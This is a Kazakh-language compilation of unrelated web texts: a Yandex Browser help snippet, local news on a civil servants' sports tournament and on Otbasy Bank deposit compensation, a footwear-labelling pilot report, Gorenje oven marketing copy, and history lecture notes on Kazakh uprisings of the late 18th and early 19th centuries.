Парақша смартфоныңызға қауіп төндіруі мүмкін. Мысалы, сайт сертификаты кері қайтарылған немесе ескірген.
Қолдау қызметіне жазу
Егер сіз Анықтама бөлімінен ақпарат таба алмасаңыз немесе мобильді Яндекс Браузермен жұмыс кезінде қиындықтар туындаса, әр қимылыңызды қадамды түрде сипаттап беріңіз. Егер мүмкін болса, скриншот жасаңыз. Бұл қолдау қызметінің мамандарына жағдайды тез түсінуге көмектеседі.
Ескертпе. Яндекс сервистерінің жұмысындағы мәселелерді шешу үшін осы сервистердің қолдау көрсету қызметіне жүгініңіз:
Компьютердегі Яндекс Браузер
Компьютердегі Яндекс Браузердің жұмысындағы қиындықтар туралы тікелей Браузерден жазыңыз: → Қосымша → Мәселе туралы хабарлау немесе форма арқылы.
Алиса бар Яндекс мобильді қосымшасы
Яндекстің басты парақшасы
Егер сұрақ Яндекстің басты парақшасына байланысты болса (безендіру темасын өзгерту, басты парақшаның блоктарын немесе сервистердің таңбаларын баптау, Яндекс Ақшаны табу және т. б.) форма арқылы жазыңыз. Яндекстің басты парақшасы туралы сұрақ опциясын таңдаңыз.
Яндекс Пошта
Поштаның жұмысы туралы (жарнаманы сөндіру, басқа жәшіктерден хат жинақтауды баптау, жойылған хаттарды қалпына келтіру, спамға түскен хаттарды іздеп табу және т. б.) форма арқылы жазыңыз.
Іздеу және нәтижелер
Іздеу және іздеу нәтижелерінің жұмысы туралы (іздеу нәтижелерінде сайтты саралау, іздеудің қате нәтижелері және т. б.) форма арқылы жазыңыз. |
Исатай ауданында 23 маусым – Мемлекеттік қызметкерлер күніне орай жергілікті атқарушы органдардың қызметкерлері арасында қолға алынған аудандық спартакиада өз мәресіне жетті.
Жарыстың екінші күнінде қатысушы командалар жеребе тарту арқылы шағын футболдан өзара кездесулер өткізді. Қоғам айнасы саналған мемлекеттік қызметкерлердің басын қосқан жарысқа спартакиаданың алғашқы күнінде өнер көрсеткен командалар, яғни аудан әкімі аппараты және дербес бөлімдер қызметкерлерінен құралған команда, Тұщықұдық, Аққыстау, Қамысқала ауылдық округтері әкімдігінің командалары және Жанбай мен Нарын, Исатай мен Зинеден ауылдық округі әкімдіктерінің біріккен құрамалары қатысты.
Күн ұзағына жалғасқан спорттық бәсекеде командалар бар шеберліктерін салып, жеңісті қолдан бермеуге барын салып бақты. Қызу да тартысты өткен жарыстың нәтижесінде өз тобында қарсыластарының бәрінен басым түскен аудан әкімі аппараты және дербес бөлімдер қызметкерлерінен құралған команда жарыстың жеңімпазы атанып, алтыннан алқа тағынса, ақтық сында ғана қарсыласқа есе жіберген Жанбай және Нарын ауылдық округі әкімдіктерінің біріккен командасы күміспен күптелді. Ал, үздік үштікті Зинеден және Исатай ауылдық округі әкімдіктерінің біріккен командасы аяқтады.
Спартакиаданың қорытындысында аудан әкімі аппаратының басшысы Рашид Мұқанов жарыс аясында спорттық ойындардың қай түрінен болмасын мемлекеттік қызметшілердің көрсеткен шеберлігін жоғары бағалап, жарыстың көркін қыздыра білгендері үшін аудан әкімі Полымбет Хасановтың атынан ризашылығын жеткізді.
- Мемлекеттік қызметшілер арасында оздырылған аудандық спартакиада жоғары деңгейде өтті деп нық сеніммен айта аламын. Оған себеп жарысқа қатысушы барлық командалар және жекелей сында өнер көрсеткен ойыншылар осы екі күннің аясында өз шеберліктерін тиісті дәрежеде көрсете білді. Яғни бұл дегеніміз ауданымыздың мемлекеттік қызметшілерінің спорттан да алыс еместігін білдірсе керек. Бізді енді алда спартакиаданың облыстық кезеңі күтіп тұр. Ендігі мақсатымыз облыстық кезеңде де осы қарқынымыздан жаңылмай, көш басынан көріну және бұл біздің қолымыздан келеді, - деген Рашид Мұқанов жеңімпаз және жүлдегер командаларды арнайы дипломдармен марапаттап, медальдар табыстады.
Айта кетейік, біз бұған дейін спартакиаданың алғашқы күнінде қатысушылардың волейбол, үстел теннисі және тоғызқұмалақ ойындарынан командалық және жекелей кездесулер өткізіп, өзара үздіктерді анықтағанын хабарлаған болатынбыз.
Сондай-ақ спорттық жарыстардың жеңімпаз командаларына спартакиаданың кубогы 22 маусым күні аудандық деңгейде өтетін мерекелік салтанатты шарада табысталатанын да айта кеткен жөн. |
Үш жалынды WOK конфоркасы тағамды санаулы минутта әзірлеуге мүмкіндік береді. Бұл режимде, қарапайым тәсілмен даярлауға қарағанда көкөністер балғын болып қалады және дәрумендері, минералдары және басқа да құнарлы заттары көбірек сақталатындай етіп даярланады.
Реттегіш пен тұтқалардың талғампаз дизайны
Ыңғайлы эргономикалық реттегіштер тағам дайындау процессін толығымен бақылауға мүмкіндік береді. Плита өшіп тұрғанда қосымша қауіпсіздік пен жеңіл тазалау үшін реттегіштер панельдің ішіне қарай кіреді. Сондай-ақ бұл плитаның сыртқы көрінісін жақсартады. Тұмшапештің металл тұтқасы ыңғайлы әрі талғампаз дизайнымен ерекшеленген.
Электроэнергия ма, әлде газ баз? Біріктірілген плиталар
Gorenje плиталарының үлгілік қатары үздік аспаздық нәтижелерге қол жеткізу үшін жасалған. Плиталардың ені 50 және 60 сантиметр. Тамаша ойластырылған құрылымының, басқару тұтқаларын эргономикалық пішінінің және қолданылуы өте оңай электрондық бағдарламалау таймерінің арқасында оларды оңай пайдалануға болады.
Газ немесе шыны керамика бетіндегі электр және газ үйлесімі
Gorenje пісіру алаңдарының кең ассортиментіне сонымен қатар газ конфоркаларымен жабдықталған шыны керамикалық беттер кіреді.Сонымен қатар, модельдік диапазонда газ конфоркасы мен Hilight конфоркаларының үйлесімі бар. Электрика мен газдың осындай керемет үйлесімі тек қана кәсіби деңгейде пісіруді бақылауды ғана емес, сондай-ақ тартымды дизайнымен қамтамасыз етеді және оңай тазаланады.
Қосарлы, үшқабатты және "Үйрек етін пісіру" қыздыру аймақтары.
Сізге ыдыстың дұрыс диаметрін таңдауға, қосарлы және үшқабатты қыздыру аймақтары көмектеседі. "Үйрек етін пісіру" аймағы ірі ет немесе балықты дайындау үшін өте қолайлы. Қыздыру аймағын өзгерту үшін саусақтың ұшымен тигізсеңіз жеткілікті.
Патенттелген Touch Control жүйесі
Нарықтағы жаңа өнім! Gorenje тұмшапештері инновациялық, сенсорлық электрондық таймерлермен жабдықталған. Сенсорлық басқару ас әзірлеу уақытында басқару панелінің дисплейінде көрінетін пісіру уақытын орнатуға және қажетті температураны таңдауға мүмкіндік береді. Дайын болған кезде дыбыстық сигнал шағады. Инновациялық электронды таймердің беті мінсіз тегіс, тазалауды барынша жеңілдетеді.
Көп сатылы тағам дайындау үрдісі
Біздің тұмшапештерімізде бірнеше деңгейде тамақ дайындай аласыз. Жақсы ойластырылып жабдықталған жылы ауа желдету жүйесі әр деңгейдегі тағамды біркелкі пісіруді қамтамасыз етеді және уақыт пен электр қуатын үнемдейді.
WarmPlate - үстел жабдықтауға арналған кәсіби ыдыстар
Жылытылған табақтар тіпті сорпалардан спагеттиге және бұқтырылып пісірілген көкөністерге дейін көптеген тағамдардың дәмі мен хош иісін сақтайды. WarmPlate («Ыдысты ысыту») функциясының арқасында сіздің асханалық ыдыстарыңыз - 30-дан 80 ° C-ге дейін қажетті температураны сақтайды және сіз ыстық тағамдарыңызды ең жақсы мейрамханадағыдай ұсына аласыз!
StayWarm дайындалған астың жылуын сақтайды.
Температураны 30-дан 95 ° C-қа дейін орнату мүмкіндігі тағамдардың қажетті температурасын үш сағатқа дейін ұстап тұруға мүмкіндік береді. Пісірілген тағамдар өз дәмін сақтап, ыстық болып қалады. Тағамдардың температурасын сақтап қалудың StayWarm («Пісірілген астың темепратурасын сақтау») жаңа функциясының арқасында бір уақытта бірнеше ыстық тамақты дастарғанға әкелу уақытын есептеуге жеңілірек болады. Сондай-ақ, қонақтар кешіккен кезде де сізге көмектеседі. Жаңа Gorenje тұмшапеші - үй шаруасындағы әйелдің таптырмайтын көмекшісі!
OpenView
Тамаша көрініс
Ұлғайтылған тұмшапештеріміздің кейбір үлгілері екі жарықтандыру шамдарымен жабдықталған, олар тұтас шыныланған есікпен бірге әлдеқайда кеңірек көріністі қамтамасыз етеді, сондықтан тұмшапешті ашпай-ақ, тағамның дайындалуын қадағалай аласыз.
3 деңгейде орналасқан толығымен жылжымалы телескоптық бағыттаушылар.
Бірнеше деңгейде қауіпсіз тағам дайындау! Толығымен жылжымалы телескоптық бағыттаушылар үш деңгейдің әрқайсысының табасын немесе торын толығымен жылжытуға мүмкіндік береді. Бұл тағам дайындалуының бақылауын жеңілдетіп, оның күйіп кетуін мейлінше қысқартады.
XXL терең тұмшапеш табасы
Экстра терең табаның кемершелері тұмшапештің қабырғаларына майдың шашырауын және шөгуін болдырмайтын SilverMatte эмалімен қапталған.
Ет дайындауға арналған температуралық зонд
Gorenje тұмшапештерінің ең жақсы модельдері ет пісіруге арналған термозондпен жабдықталған, сондықтан сіз әрқашан еттің дұрыс пісуін және тағамның дайындық дәрежесін тексере аласыз. Термозондты қосып оған етті қадаңыз, ет тағамы дайын болғанда электрондық дисплей сізге оны білдіреді.
Тұмшапештің суық есігі
Gorenje тұмшапештерінде қауіпсіз есіктер орнатылған. Есіктердiң оңтайлы оқшаулауы энергияны төмен тұтыну кезінде жақсы нәтижелер мен тиімді жұмыс жасауға мүмкіндік береді. Іштегі температура қаншалықты ыстық болса да, күйіп қалудан қорықпай есіктерін ұстауға болады.
Тұмшапеш есігінің тұтас шыныдан жасалуы
Барлық Gorenje пештерінің ішкі есіктері жиектеусіз және саңылаусыз тұтас шыныланған.Сондықтан оның арасында қоқыс жиналмайды осылайша тазалау айтарлықтай жеңілдетілген.
DirecTOUCH: Саусақ ұштарымен сезілетін керемет нәтиже
Оңай сенсорлы әрекетпен тұмшапешті қолдану. Үлкен әрі түсінікті таңбалар осы технологияны толықтырып, оның қолданылуын жеңілдетеді.
HomeMADE Тұмшапеші
Тұмшапештің бірегей пішіні отын пешіне ұқсастырылып жасалған және тамаша тағам дайындау нәтижелерін қамтамасыз етеді. Әрқашанда шырынды, қытырлақ қызарған қабықшасымен біркелкі етіп пісіреді!
Сонымен қатар тұмшапештің отын пешіне ұқсастырылып жасалған күмбез тәрізді пішіні тағам дайындаудың керемет нәтижесін беретін қыздыру элементтерінің орналасуын қамтамасыз етеді. Дөңгеленген бүйір қабырғалары мен күмбез тәріздес төбесі арқасында, пештегі ыстық ауаның оңтайлы айналымы мен таралуы жүзеге асырылады және тағам шырынды әрі қытырлақ, ал нан өте жұмсақ, қызарған қабықшасымен бірге біркелкі болып піседі. Көптеген аспаздық сапаға жаңа көзқарас ол Gorenje мамандарының көпжылдық тәжірибесі мен зерттеулерінің және жетекші ғылыми-зерттеу институттарымен ынтымақтастықтың нәтижесі болып табылады. Ежелгі даналықпен белгіленген ерекше нысан!
BigSpace: Кең тұмшапеш
Аспаздық шығармашылық еркіндігі үшін көбірек орын
Gorenje тұмшапештірінің жаңа буынында күмбез тәріздес төбесі алдыңғы жоғарғы қабырғасының артында орналасқандықтан қосымша көлем беріп ауаның еркін айналуына мүмкіндік береді.Gorenje тұмшапешінде 67 литр пайдалы мөлшерімен жеті килограмдық күркетауықты да оңай пісіруге болады.
FastPreheat: 6 минут ішінде 200°С
Нарықтық зерттеулер көрсеткіші бойынша тұмшапештің жылдам алдын-ала қыздырылуы тұтынушы үшін ең маңызды параметрлердің бірі болып табылады. Арнайы күмбез тәріздес пішіні мен бірнеше қыздырғыш элементтерінің бір уақытта жұмыс істеуіне байланысты тұмшапеш не бәрі 6 минут ішінде 200 ° C температурасына дейін қызады. Қыздыру кезінде кем дегенде 30% уақыт үнемдеу, пицца, бисквит және тұмшапешті алдын ала қыздыруды талап ететін басқа да тағамдарды бұрынғыға қарағанда жылдамырақ пісуін қамтамасыз етеді. Дыбыс және жарық сигналдары тұмшапештің қажетті температураға дейін қызғандығын білдіреді.
PerfectGrill біркелкі пісіру
Тұмшапештің сәл көтерілген төбесі үлкен жоғарғы қыздыру элементін және инфрақызыл жылытқышты жасырады, ал олардың әр түрлі биіктікте орналасуы тағамдардың біркелкі пісуін қамтамасыз етеді. Кейбір үлгілерде жоғарғы қыздыру элементтері ары қарай жылжи алатындығы үшін тазалауды жеңілдетеді!
DynamiCooling арқасында тұмшапештің сыртқы беті суық болады
Тағамды пісіру (DC) кезінде және аяқталғаннан кейін (DC +) тиімді салқындату жүйесі тұмшапештің жұмысы кезінде сыртқы қабырғаларының суық болып қалуын қамтамасыз етеді. Арнайы желдеткіш сырттан суық ауаны алып, оны пештің ыстық ауасымен араластырады.Салқындатылған қоспа құрылғының сыртқы беттерін қыздыруға жол бермей басқару панелінің астынан және корпусындағы саңылаулар арқылы сыртқа шығарылады. Пісіру процесі аяқталғаннан кейін температуралық сенсор тұмшапештің температурасы 80 ° C дейін төмендегенше желдеткіштің жұмысын ұзартады (DC +). Бұл тұмшапештің сыртқы қабырғалар мен қақпаларының қызып кетуіне жол бермей, DynamiCooling жүйесі күйіп қалу қаупін толығымен жоққа шығарады.
EasyClean панельдерінің көмегімен оңай тазалау
Артқы қабырғадағы EasyClean салмалы бүйір панельдері мен каталитикалық панель тұмшапеш тазалануын жеңілдету үшін арнайы жасалған. Бүйір панельдері жылы сумен оңай тазаланатын EcoClean эмальмен қапталған. Немесе панельдерді шығарып, оларды ыдыс жуатын машинада тазаласаңыз болады!
Профи гриль
Тұмшапеште ет пен балық тағамдарын дайындау үшін өте қолайлы. Ерекше қорытпаның арқасында профи - гриль тез қызады және пісіріліп жатқан еттің тесіктерін тез арада жабады, осылайша шырынының ағып кетуін жояды, сондықтан тағам шырынды әрі хош иісті болып піседі.
Шыңдалған шыныдан жасалған таба
Жоғары сапалы шыныдан жасалған таба сізге күнделікті пісіруді, сондай-ақ мерекелік кешкі ас үстелін сәндеу мүмкіндігін береді. Мөлдір шыны пісіру процесін үнемі қадағалап отыруға мүмкіндік береді.
Пиццаға арналған тас
Дәмді итальяндық пиццаны үйде дайындауға болады - ол нағыз пештен шыққан секілді, жұқа, хош иісті, қытырлақ қабықшасы бар болып шығады! Тұмшапеште тасты қыздырып алып оның үстіне салмасы бар қамырды қойыңыз содан кейін тұмшапешке салыңыз. Тастың беті тегіс болғандықтан оны тазалау айтарлықтай жеңіл. |
«Отбасы банк» АҚ орталық филиалының директоры Жансұлтан Матай теңге депозиттерін қорғау мақсатында қолға алынған 10 пайыздық өтемақы кімдерге берілетінін түсіндірді, деп хабарлайды ҚазАқпарат.
Фото: depositphotos.com
13:21 03.10.2022
Ақтау қаласына жаңа әкім тағайындалды
Ойыншық тапаншамен қорқытқан: Ер адам ойын клубынан 4 млн теңге алып кеткен
Алматы облысы әкімінің жаңа орынбасары тағайындалды
«Отбасы банк» теңге депозиттерін қорғау бойынша өтемақы беру бағдарламасына қатысып жатыр. Ондай өтемақыны кімдер алады? Бұған дейін «Отбасы банктен» ипотекамен үй алғандар ғана қатыса ма, әлде ақша жинап жатқандар ғана қатыса ма», - деп сұрады БАҚ өкілі орталық коммуникациялар қызметінде өткен брифингіде.
«Бұл жерде несие жинап жатқан, әзірге баспана алмаған адам да бағдарламаға қатыса алады. Оған да 10 пайыз өтемақы беріледі.
Сондай-ақ 2022 жылдың 20 ақпанына дейін бізден аралық және алдын ала займ алған, біздегі кепілде тұрған депозиттерге де 10 пайыз үстіне қосылады. Мерзімдерін нақтыласақ, 1 қазаннан 1 қаңтарға онлайн түрде өтініш беру керек», - деді Жансұлтан Матай.
Ал «Отбасы банк» АҚ төрағасы Ләззат Ибрагимова екі күннің ішінде аталған өтемақы алуға 2,5 мың өтініш түскенін мәлім етті.
«Екі күн болды. Біз портал бойынша аштық, өтініштерді алып жатырмыз. Кеше маған ІТ-мамандардың берген ақпараты бойынша, 2,5 мың өтініш түсті. Яғни, 2023 жылдың бірінші қаңтарына дейін «Отбасы банк» салымшылары өтемақы алады. Порталға кіріп, өтініш беріп, құжаттарға қол қойғандарыңызды күтеміз»,-деді Ләззат Ибрагимова. |
Тауардың бұл тобын таңбалау бойынша пилоттық жоба сәтті аяқталды. Оған 5 қазақстандық өндіруші мен 16 импорттаушы қатысты, деп хабарлайды zakon.kz Цифрлық экономиканы дамыту орталығының баспасөз қызметіне сілтеме жасап.
Пилоттық жоба аясында "КазлегПром-Алматы", "SAMHAT", "ZShoesKZ", "Almaty Eco Trade Company", "ТаразКожОбувь" сияқты аяқ киім фабрикалары 2019 жылдың 30 шілдесінен бастап 31 желтоқсанына дейін өз тауарларын арнайы DataMatrix кодымен таңбалап келді. Сондай-ақ жоба аясында Қытай, Түркия, Украина және Испаниядан аяқ киім импорттаушылары да өз өнімдеріне таңбалау жасады. Олардың қатарында "Спецобувьторг", "Спэниш ритейл Казахстан", "Uterque Kazakhstan" сияқты т.б. компаниялар бар.
DataMatrix коды тауардың әр партиясына өндіріс барысында берілді. Онда өндіруші, импорттаушы, тауар партиясының сериялық нөмірі туралы сандық ақпарат және оның тасымалдануын бақылау үшін қажетті басқа да мәліметтер "тігілген". Бұл кодты криптақорғаныстың арқасында қолдан жасау мүмкін емес.
Таңбаланған аяқ киім Тауарларды таңбалау мен қадағалаудың ақпараттық жүйесіне енгізіліп отырды (ТТҚАЖ). Кейіннен өнімдер оны сату нүктелеріне түсіп, содан кейін айналымнан шығарылды. Тауарды өндірістен бастап соңғы тұтынушыға сатуға дейінгі барлық жолды енді ТТҚАЖ -да бақылауға болады.
Еуразиялық экономикалық одақ аумағында тауарларды сәйкестендіру құралдарымен таңбалау туралы келісімді Қазақстан Республикасы 2019 жылы ратификациялады. Аяқ киім тауарларын таңбалау және қадағалау бойынша пилоттық жобаны енгізу жөніндегі жол картасын ҚР ИИДМ әзірлеген болатын (2019 жылғы 26 шілдедегі № 562 бұйрық).
"Пилоттық жоба барысында біз өнімді таңбалаудың барлық кезеңдерінде осал жерлерді анықтадық, аяқ киім тауарларының айналымына қатысушылардан ұсыныстар жинадық. Қазір процестерді жетілдіру бойынша бизнеспен жұмысты жалғастырудамыз, сонымен қатар ақпараттық жүйені жақсартып жатырмыз. Қазақстанда аяқ киімді міндетті таңбалауды енгізу 2021 жылдың екінші жартысына жоспарланып отыр. Бұл шара нарықты "көлеңкелі" өндірішілерден тазартып, қазақстандық тұтынушыны жалған және сапасыз өнімдерден қорғауға көмектесетініне сенеміз", - деп атап өтті Цифрлық экономиканы дамыту орталығының бас директоры Бикеш Құрманғалиева ("Қазақтелеком"АҚ еншілес компаниясы).
Аяқ киімді міндетті таңбалауды Ресей 2020 жылдың шілдесінен бастап енгізді. Нәтижесінде, ресми мәліметтер бойынша, алғашқы айларда ғана аяқ киім нарығының көлемі бірнеше есеге өскен.
Қазақстанда аяқ киім нарығының ресми көлемі импорт пен жергілікті өндірісi 36,5 миллион жұпты құрады (2019 ж деректер), ал көлеңкелі айналым көлемі, сарапшылардың бағалауы бойынша тағы 34 миллион жұпты құрады. Яғни, нарықты "ағартудың" әлеуеті орасан зор.
Естеріңізге сала кетейік, Қазақстанда 2020 жылдың 1 қазанынан бастап темекі өнімдерін міндетті таңбалау енгізілді. Қазіргі уақытта тауарларды таңбалау және қадағалау бойынша бірыңғай оператор "Қазақтелеком"АҚ болып табылады. |
1797 ж. халықтың ауыр жағдайына және сол жылы 8 тамызда ханды қ кеңестің құрылуына байланысты Сырым күресті тоқтатады. Сөйтіп, Кіші жүз қазақтарының арасындағы аздаған үзілістермен 14 жылға созылған азаттық қозғалысы аяқталды.
Ал сұлтандардың бір бөлігі өз беттерімен Қаратай Нұралиевті хан етіп көтерсе, Игельстром қаратайды емес, Айшуақты хан (1797-1805) етіп сайлайды. Сонымен Кіші жүз тағы да екі топтың арасындағы күрес аренасына айналды. Қаратай бастаған сұлтандардың қудалауымен Сырым 1797 ж. Хиуа хандығына өтіп кетеді. Одан кейінгі өмірі туралы дерек аз. 1802 ж. жат жұртта белгісіз себептерден дүние салады.
Көтерілістің басты қозғаушы күші қарапайым көшпелі малшылар болғанымен, бұл бүкілхалықтық қозғалысқа Нұралы хан ұрпақтары мен оның жақтастарының саясатына наразы сұлтандар (Айшуақ сұлтанның балалары), билер, рубасылары мен батырлар қатысты. Сонымен, отаршылдыққа қарсы күрес аясына саяси бағыттары бір-біріне қарама-қайшы әр түрлі әлеуметтік топтар тартылды. Алайда С. Датұлы олардың барлығының мүддесін бір арнаға - отаршылдық жүйеге қарсы тоғыстыра білді.
Бірақ С. Датұлының көтерілістің әр кезеңінде өзінің мақсатын өзгертіп, Орынбор губернаторымен уақытша келісімге келуі, заңды билеуші ханды тақтан тайдыруы, Есімнің өлтірілуі, өз бетімен күресті тоқтатуы, осының барлығы қозғалыстың шешуші кезеңіндегі оның қарама-қайшылыққа толы бағытын аңғартады. Сонымен қатар, көтерілістің жеңілуіне бірқатар жағдайлар әсер етті: қазақ қоғамындағы әр түрлі топтардың әсіресе ру арасындағы ала ауыздық, тіпті Сырымның өз руы байбақты да екіге жарылып, біреуі - Сырым бастаған халық төңірегіне, екіншілеріӘбілқайыр хан ұрпағы Ералы, Есім төңірегіне жиналды; Сырымның өз қол астында ғы көтеріліс күштерінің, жеке топтардың нашар ұйымдасуы, Сырымның екі жақты соғыс жүргізуі; патша әкімшілігінің хан кеңесінен қашпай, оны тиімді пайдалануы. Көтерілістің тарихи маңызы зор. Көтерілістің басты талабы - жер мәселесі ішінара шешілді. қазақтар Жайық пен Еділ арасындағы жайылымдарды пайдалануға мүмкіндік алды. Жер тапшылығын уақытша бәсеңдетті. Дәстүрлі билік жүйесі хандық кеңестің қайта орнауына қол жеткізіп, осы арқылы мемлекеттіліктің соңғы нышандарын сақтап қалды. Тұтастай алғанда кейбір ішкі қайшылықтарына қарамастан көтеріліс ұлттық сананың өсуіне септігін тигізді.
Дәріс тақырыбы: ХVIIІ-ғ. соңы - ХІХ-ғ. басындағы ұлт-азаттық қозғалыстар Дәрістің негізгі сұрақтары:
1.18-ғ.соңы-19ғ.басындағы Кіші жүздегі саяси толқулар. Арынғазы Әбілғазыұлы және Қаратай Нұралыұлы, Шерғазы және Жантөре Айшуақұлдары арасындағы саяси билік үшін тартыс.
2. Оңтүстік Қазақстан, Жетісу жеріндегі 1816-1821ж.ж. халық-азаттық қозғалысы
3. Орта жүздегі патшалық реформаға қарсылық. Саржан Қасымұлының қозғалысы (1825-1836).
3.Кіші жүздегі Жоламан Тіленшіұлы бастаған азаттық көтеріліс
Дәрістің мақсаты: Патша үкіметінің мақсатты отарлық шаралары Кіші жүзде саяси тартысты күшейткенін көрсету және осы кездегі қазақ далысының әр аймағында жүрген сұлтандардың наразылық-толқуларына жаңаша баға беру
Арынғазы Әбілғазыұлы Хиуа мен Қоқан хандықтарына қарсы күресі. (Картаны қараңдар.) ХІХ ғ. басынан басталған Азия құрлығы үшін Англиямен бақталастық, Ресей үшін қазақстанның Шығыс елдеріне апаратын "қақпа және кілт" факторының күшеюі дамып келе жатқан Ресей капитализміне жаңа шикізат көздерінің қажеттігінен туындады.
Міне, осылардың бәрі ХІХ ғасырдың ортасында үлкен маңызға ие болып, Ресейдің Орта Азияны жаулап алу саясатында Қазақстанның оңтүстік өңірінің стратегиялық маңызын арттыра түсті. Сыр бойында алғашқы орыс бекінісі - Арал (Райым) Арал теңізінен 60 шақырым жерде орналасты.
Орыс бекіністерінің салына бастауы хиуалықтардың табанды қарсылығына кезікті. Хиуалықтар орыс билігіне мойынсұнған қазақтарды жазалау үшін сусыз қалдыруды көздеді. қожанияз бекінісінің тұсынан Қуаңдарияның суын төмен жібермей бөгеп, Арал теңізіне дейінгі жерлерді сусыз қалдырды. Судан тапшылық көрген қаз ақтар- Төртқара, Кішкене Шекті, Тілеу рулары Райым бекінісінің маңайына көшіп келеді, хиуалықтарға зекет төлеуден бас тартады. Жалпы бұған дейін Сырдың төменгі ағысы, Арал өңірінде бұрынғы Хиуа ханы қайыптың немересі Арынғазы Әбілғазыұлы билік жүргізді. Ол 1815-1821 жылға дейін қазақтардың саяси тәуелсіздігіне қауіп төндірген Хиуа ханы Мұхаммед Рахыммен үздіксіз қарсыласты. Хиуа басқыншылығына қарсы күрес Арынғазының беделін өсірді. Оның билігін Орта жүздің батыс бөлігіндегі қазақтар да мойындады. Көптеген қазақтар Арынғазы шетел басқыншылары мен өз билеушілерінің озбырлығынан құтқарады деп үміттенді. Жайықтан Сырға дейінгі далада билігі жүруге тиісті Шерғазы Айшуақұлының орнына халық Арынғазыны бекітуді сұрайды. Арынғазының қол астына қарулы жасақтар топтаса бастайды.
Арынғазының күшеюінен сескенген патша үкіметі Арынғазыдан құтылу үшін сылтауратып 1821 ж. оны Петербургке шақырады. Ол жолда ұсталып, Калугаға жер аударылды. Өз халқынан осылайша қол үзген Арынғазы 1833 ж. сол жақта қайтыс болды. Сыр бойын иеленуге ұмтылған патшалық Ресей өз жолындағы кедергіден осындай жолмен құтылды.
Арынғазының тұтқындалуы Сыр өңірі қазақтары үшін орны толмас ауыртпалықтарға әкелді. Бұл аймақта Хиуа бектерінің үстемдігі орнады. Жайық пен Елек өзені аралығындағы жерлерден айырылуға байланысты Жоламан Тіленшіұлы көтерілісінің басталуына да Арынғазының тұтқындалуы себепші болды.
Қазақтардың 1773-1775 жж. Пугачев бастаған шаруалар соғысына қатысуы, батыр Сырым Датұлының көтерілісі Қазақстандағы хандық билік жүйесінің әлсірей бастағанын көрсетті. Халық арасында ықпалы кеміген хан патша үкіметінің билептөстеу саясатын ойдағыдай іске асыра алмады. Бұл жағдай билеу жүйесінің жаңа тәртібін қажет етті. Патша үкіметі 1822 ж. Орта жүзде Сібір қазақтары туралы жарғы енгізу арқылы хандық билікті жойды.
Бұл бірінші патшалық реформа дәстүрлі билік құрылымдарын бұза отырып, қазақ қоғамындағы бұрынғы қайшылықтарды одан әрі тереңдете түсті. Екіншіден, Ресейдің әскери-әкімшілік отарлауына кең түрде жол ашып берді.
Орта жүзде хандық мемлекеттіліктің жойылуы және Қарқаралы (1824 ж.) және Көкшетау (1824 ж.) округтерінің құрылуы және Т.б. әскери-әкімшілік шараларға қарсы күресті Абылай ұрпақтары бастады. Оның басында тұрған қасым сұлтан Абылайұлы және оның балалары Саржан, Есенгелді, Кенесарылар жиырма жылдан астам уақыт бойы патшалық режімге қарсы күресумен болды. Абылай ұрпақтары ның қолдауына сүйене отырып, үкіметке қарсы наразылықты бірінші болып, Көкшетау округінің аға сұлтаны Ғұбайдолла Уәлиұлы ұйымдастырды. Алайда патша үкіметі Ғұбайдолланы тез қолға түсіріп, Сібірге жер аударды. Дегенмен Шыңғыс ұрпақтары бастаған қарсылық қозғалыстар одан әрі өрби түсті. Осы кезеңде Саржан қасымұлы басқарған қарқаралы округінде де 1825 ж. көктемінен бастап үкіметке қарсы толқулар басталды. Бұл толқулардың мақсаты - Абылай ұрпақтары сұлтандар билік жүргізетін қазақ хандығын қайта орнату, округтік приказдардың көзін құрту еді. Саржан өзінің інісі Есенгелдімен ауылдарды аралап, өкіметке қарсы күресуге үндеу тастады. Өсу үстіндегі халық наразылығын басуға Батыс Сібір генерал-губернаторы П.М. Капцевич жазалау жасағын жасақтады. Карбышев бастаған 200 казак жасағы қарқаралы округінің қарпық болысына жіберілді. 1825-1826 жылдар жазалаушы күштер мен көтерілісшілер арасында қақтығыстармен өтті. Саржанның қол астына Көкшетау округінен Шыңғысұлы Сартай сұлтан бастаған топтар келіп қосылды. Саржанның қол астында сұлтан Абылай Ғаббасұлы, жас сұлтан Кенесары қасымұлы да өз сарбаздарымен ісқимылдар жүргізді. Патша әкімшілігі болса өз тарапынан "бүлікшіл" сұлтандардың іс-әрекетін бақылай отырып, мүмкін болған жағдайда қолға түсіріп, әскери соттың құзырына беру керек деп шешті.
Дегенмен үкімет көтерілісшілерді жазалау үшін олардың ізіне түсетін ірі казак жасақтарын қырға шығаруды кейінге қалдырды. 1827-1830 жылдары көтеріліс Ұлытау өңіріне тарады да, жаңа құрылған округ аумағын наразы топтар тастап шыққан болатын. Ал патша үкіметі қазақ даласында округтер ашуды жалғастыра берді. 1826 ж. Баянауыл, 1832 ж. Ақмола, 1831 ж. Аягөз (Сергиополь) округтерін негіздеу арқылы Орта Азия иеліктеріне жақындай түсті.
Ресей отаршылдығына қарсы күресте қазақ қоғамы тағы да бір-біріне қарсы топқа бөлінді. қарқаралы округінің аға сұлтаны Тұрсын Шыңғысұлы Саржанның әрбір қимылын Омбы әкімшілігіне хабарлап, қарсы көмек жіберуді өтінумен болды. Ал Саржан бастаған көтерілісшілер өз кезегінде отаршыл әкімшілікті қолдаған сұлтандармен күресе жүріп, орыс керуендеріне алым-салық төлетіп, разъезд бен пикеттерге шабуыл жасады. Бұған қосымша Саржан сұлтан және оның жақтастары қоқан хандығымен байланыс орнатады. Солтүстіктен келе жатқан қауіпке бірігіп күресуге бел шешіп кіріседі. Алайда қырға шыққан патшалық жасақтардың қимылы да қарқынды бола түсті. Патша әскерлерінің қысымымен Саржан Орта жүзді тастап шығып, Ұлы жүз иеліктеріне келеді, осы жақтағы шашыраңқы қазақ күштерін өз жағына тартуды көздейді. Саржанның бұл әрекеті қоқан билеушісін алаңдатпай қоймады. 1836 ж. жазда Ташкентте Саржан сұлтан және оның інілері Ержан, Есенгелділер опасыздықпен өлтірілді. Саржан көтерілісінің саяси мазмұны бұған дейінгі көтерілістерге қарағанда тереңірек болды. Ол Абылай ұрпағы ретінде қазақ хандығын қайта қалпына келтіруді мақсат етті.
С. Қасымұлы өлімінен кейін де патша отаршылдығына қарсы күрес бір сәт те толастамады. Саржаннан кейінгі он жылға созылған күресті Саржанның кіші інісі Кенесары одан әрі жалғастырып әкетті. Саржан бастаған Орта жүздегі көтеріліс алдағы келе жатқан үлкен көтеріліс от жалынының тек ұшқыны іспеттес еді.
